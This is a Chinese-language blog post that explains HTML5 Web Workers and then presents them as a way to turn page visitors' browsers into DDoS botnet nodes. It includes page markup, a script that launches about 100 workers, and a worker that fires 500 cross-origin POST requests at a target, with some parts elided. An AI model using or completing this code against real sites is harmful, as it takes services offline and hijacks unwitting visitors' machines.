Web Worker應用之CORS攻擊實現botnet殭屍網路節點攻擊

farsun發表於2021-09-09

Web workers是HTML5標準提出的特性。目前各大瀏覽器的最新版本都已支援此功能。

圖片描述

Web workers的作用

Javascript語言是一個單執行緒的語言,所有任務都只能在一個執行緒上完成,一次只能做一件事。前面的任務沒做完,後面的任務只能等著,這就造成了阻塞。Web workers可以解決這個問題。

Web worker可以為JS建立多執行緒環境,將一些任務分配給web worker執行。
在不影響主執行緒執行的同時,worker執行緒在後臺執行,二者互不干擾。
可以將一些計算密集型或者高延遲的任務,交給web worker執行緒分擔,從而緩解了主執行緒(UI互動)的阻塞和延遲。

Worker 執行緒一旦新建成功,就會始終執行,不會被主執行緒上的活動(比如使用者點選按鈕、提交表單)打斷。這樣有利於隨時響應主執行緒的通訊。但是,這也造成了 Worker 比較耗費資源,不應該過度使用,而且一旦使用完畢,就應該關閉。

建立Worker執行緒

var worker = new Worker('work.js');

只要在主頁面加上一句new Worker(‘work.js’),那麼work.js就會另外開闢一個心的執行緒在主頁的後臺執行,主執行緒和新執行緒之間資料交換的介面使用postMessage()和onMessage()進行通訊。

Web Worker功能很強大,但無法訪問DOM API。

Web Worker不會導致瀏覽器UI停止響應,短暫的Worker操作不會讓使用者察覺,但如果是長時間大量的worker運算操作,則會消耗CPU週期,使系統變慢,使用者可能會看到CPU始終保持在高位。

Web worker+CORS

後臺執行web worker加上跨域請求CORS,可以實現網路殭屍Botnet攻擊。

每個殭屍節點瀏覽器請求的頁面程式碼:

<style>
#page { width: 100%;height:100%}
body {margin:0}
</style>
<script type="text/javascript">
	var target='';
	var work_loc='worker.js'
</script>
<script type="text/javascript" src="run_worker.js">
</script>
</head>
<body>
	<iframe id="page" name="page" src="" frameborder="0" noresize="noresize" style="overflow:visible"></iframe>
</body>

run_worker.js程式碼控制執行的worker數量,關鍵程式碼如下:

var worker_loc='worker.js';
var workers = new Array();
var i=0;
var noWorker = typeof Worker == "undefined"  ? true : false;
if(!noWorker){
    try {
          for(i=0;i<=100;i++){
               workers[i]=new Worker(worker_loc);
               workers[i].postMessage(target);    
         }
     } catch (e) {
         //comment out in release
         e=e+""
         alert(e);
         if(e.indexOf("Worker is not enabled")!= -1) {
             noWorker = true
         }
     }
} 

worker.js程式碼:後臺傳送大量的跨域POST請求(CORS):

// ...
function makeRequest () {
    //make a new URL and request it via POST
    var fullUrl=makeUrl();
    var httpRequest= new XMLHttpRequest();
    httpRequest.open("POST", fullUrl, true);
    httpRequest.setRequestHeader("Content-Type", "text/plain; charset=uft-8");
    httpRequest.onreadystatechange=infoReceived;
    httpRequest.onerror=err;
    httpRequest.send(post_data);
}
function dos(){
    var i=0;
    for(i=0;i<500;i++){
        makeRequest();
     }
}
self.onmessage=function(e){
    base = e.data;
    dos();
}
//...

透過這樣一個事例模型,每個殭屍節點的瀏覽器將會高效地傳送大量請求,如果能控制成千上萬個殭屍節點,那麼這樣的DDos攻擊威力就比較大了。

更多閱讀:



來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/4289/viewspace-2823041/,如需轉載,請註明出處,否則將追究法律責任。

相關文章